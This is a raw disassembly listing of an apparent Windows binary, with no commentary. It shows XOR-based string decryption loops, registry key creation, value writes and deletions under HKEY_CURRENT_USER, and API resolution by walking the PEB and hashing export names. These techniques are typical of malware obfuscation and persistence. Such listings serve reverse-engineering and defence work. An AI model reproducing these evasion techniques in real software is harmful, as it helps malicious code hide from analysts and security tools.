punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x140013ce0
jmp 0x140013e32
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14001373d
lea r9, [rbp + 0x8b0]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140013e00
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x8b0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp byte [rbp + 0x8df], 0
jne 0x140013fd2
mov r8d, edi
cmp r15d, 2
jl 0x140013f91
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x8b0]
mov r8d, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x140013ea0
jmp 0x140013fd2
lea r9, [rbp + 0x8b0]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140013fa0
lea rcx, [rbp + 0x960]
call fcn.140019630
mov rcx, r12
lea rcx, [rcx + 1]
cmp byte [rax + rcx], 0
jne 0x140013fe1
lea ebx, [rcx*2 + 2]
lea rcx, [rbp + 0x960]
call fcn.140019630
movzx ecx, byte [rbp + 0x4bc]
test cl, cl
je 0x140014012
xor cl, 0x57
mov byte [rbp + 0x4bc], cl
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x4bc]
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0x4bc], 0
jne 0x140014048
mov byte [rbp + 0x4bc], 0x57
movzx ecx, byte [rbp + 0x491]
movzx edx, byte [rbp + 0x490]
test cl, cl
je 0x14001406c
xor dl, 0x57
mov byte [rbp + 0x490], dl
xor cl, 0x58
mov byte [rbp + 0x491], cl
lea r8, [rbp + 0x490]
mov rax, r12
nop word [rax + rax]
lea rax, [rax + 1]
cmp byte [r8 + rax], 0
jne 0x140014080
lea r10d, [rax*2 + 2]
test cl, cl
je 0x1400140a9
xor dl, 0x57
mov byte [rbp + 0x490], dl
xor cl, 0x58
mov byte [rbp + 0x491], cl
cmp byte [rbp + 0x50f], 0
je 0x1400142c2
mov r8d, edi
cmp r15d, 2
jl 0x140014280
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x500]
xorps xmm2, xmm1
movd dword [rbp + 0x500], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x504]
xorps xmm2, xmm1
movd dword [rbp + 0x504], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x508]
xorps xmm2, xmm1
movd dword [rbp + 0x508], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50c]
xorps xmm2, xmm1
movd dword [rbp + 0x50c], xmm2
jmp 0x1400142c2
lea r9, [rbp + 0x500]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140014290
mov dword [rsp + 0x28], r10d
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x500]
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0x50f], 0
jne 0x140014502
mov r8d, edi
cmp r15d, 2
jl 0x1400144c7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x500]
xorps xmm2, xmm1
movd dword [rbp + 0x500], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x504]
xorps xmm2, xmm1
movd dword [rbp + 0x504], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x508]
xorps xmm2, xmm1
movd dword [rbp + 0x508], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50c]
xorps xmm2, xmm1
movd dword [rbp + 0x50c], xmm2
jmp 0x140014502
lea r9, [rbp + 0x500]
nop
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400144d0
cmp byte [rbp + 0x491], 0
jne 0x140014519
xor byte [rbp + 0x490], 0x57
mov byte [rbp + 0x491], 0x58
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x960]
call fcn.140019b20
lea rcx, [rbp + 0x960]
call fcn.140019910
nop
lea rcx, [rbp + 0xac0]
call fcn.140019910
nop
lea rcx, [rbp + 0xa00]
call fcn.140019910
movups xmm0, xmmword [str.45t__8pA]
movups xmmword [rbp + 0xa40], xmm0
movups xmm1, xmmword [0x14001d920]
movups xmmword [rbp + 0xa50], xmm1
movups xmm0, xmmword [0x14001d930]
movups xmmword [rbp + 0xa60], xmm0
movups xmm1, xmmword [0x14001d940]
movups xmmword [rbp + 0xa70], xmm1
movups xmm0, xmmword [0x14001d950]
movups xmmword [rbp + 0xa80], xmm0
movups xmm1, xmmword [0x14001d960]
movups xmmword [rbp + 0xa90], xmm1
movups xmm0, xmmword [0x14001d970]
movups xmmword [rbp + 0xaa0], xmm0
movzx eax, byte [0x14001d980]
mov byte [rbp + 0xab0], al
test al, al
je 0x140014743
mov r8d, edi
cmp r15d, 2
jl 0x1400146f8
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0xa40]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x70
jl 0x140014600
cmp r8d, 0x71
jge 0x140014743
movsxd rax, r8d
lea r9, [rbp + 0xa40]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x71
jl 0x140014710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400147d4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400147d4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x1fbdc11a
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400147cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400147b0
cmp edx, 0xc7e237c3
je 0x1400147d9
test r9d, r9d
jne 0x140014790
mov rax, qword [rax]
jmp 0x140014760
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xa40]
call rax
cmp byte [rbp + 0xab0], 0
jne 0x140014973
mov r8d, edi
cmp r15d, 2
jl 0x140014928
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0xa40]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x70
jl 0x140014830
cmp r8d, 0x71
jge 0x140014973
movsxd rax, r8d
lea r9, [rbp + 0xa40]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x71
jl 0x140014940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140014a04
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140014a04
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x437e26b7
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400149ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400149e0
cmp edx, 0xbc912df7
je 0x140014a09
test r9d, r9d
jne 0x1400149c0
mov rax, qword [rax]
jmp 0x140014990
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
call fcn.140001860
test al, al
je 0x140015352
movups xmm0, xmmword [0x14001db60]
movups xmmword [rbp + 0x6f8], xmm0
movups xmm1, xmmword [0x14001db70]
movups xmmword [rbp + 0x708], xmm1
movups xmm0, xmmword [0x14001db80]
movups xmmword [rbp + 0x718], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140014bc2
mov r8d, edi
cmp r15d, 2
jl 0x140014b84
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x6f8]
mov r8d, r14d
mov r9d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x140014a93
jmp 0x140014bc2
lea r10, [rbp + 0x6f8]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x30
jl 0x140014b90
mov qword [rsp + 0x20], r13
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rbp + 0x6f8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, eax
cmp byte [rbp + 0x727], 0
jne 0x140014d52
mov r8d, edi
cmp r15d, 2
jl 0x140014d11
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x6f8]
mov r8d, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x140014c20
jmp 0x140014d52
lea r9, [rbp + 0x6f8]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140014d20
test r10d, r10d
jne 0x1400151ef
mov byte [rbp + 0x4bd], r10b
lea rdx, [rbp + 0x4bd]
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0x4bd], 0
jne 0x140014d86
mov byte [rbp + 0x4bd], 0x57
movups xmm0, xmmword [str.35____:]
movups xmmword [rbp + 0x558], xmm0
psrldq xmm0, 8
movq rax, xmm0
shr rax, 0x38
test al, al
je 0x140014fb2
mov r8d, edi
cmp r15d, 2
jl 0x140014f74
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x558]
xorps xmm2, xmm1
movd dword [rbp + 0x558], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x55c]
xorps xmm2, xmm1
movd dword [rbp + 0x55c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x560]
xorps xmm2, xmm1
movd dword [rbp + 0x560], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x564]
xorps xmm2, xmm1
movd dword [rbp + 0x564], xmm2
jmp 0x140014fb2
lea r9, [rbp + 0x558]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140014f80
lea rdx, [rbp + 0x558]
mov rcx, qword [0x140021798]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0x567], 0
jne 0x1400151e2
mov r8d, edi
cmp r15d, 2
jl 0x14001519d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x558]
xorps xmm2, xmm1
movd dword [rbp + 0x558], xmm2
movdqa xmm1, xmm11
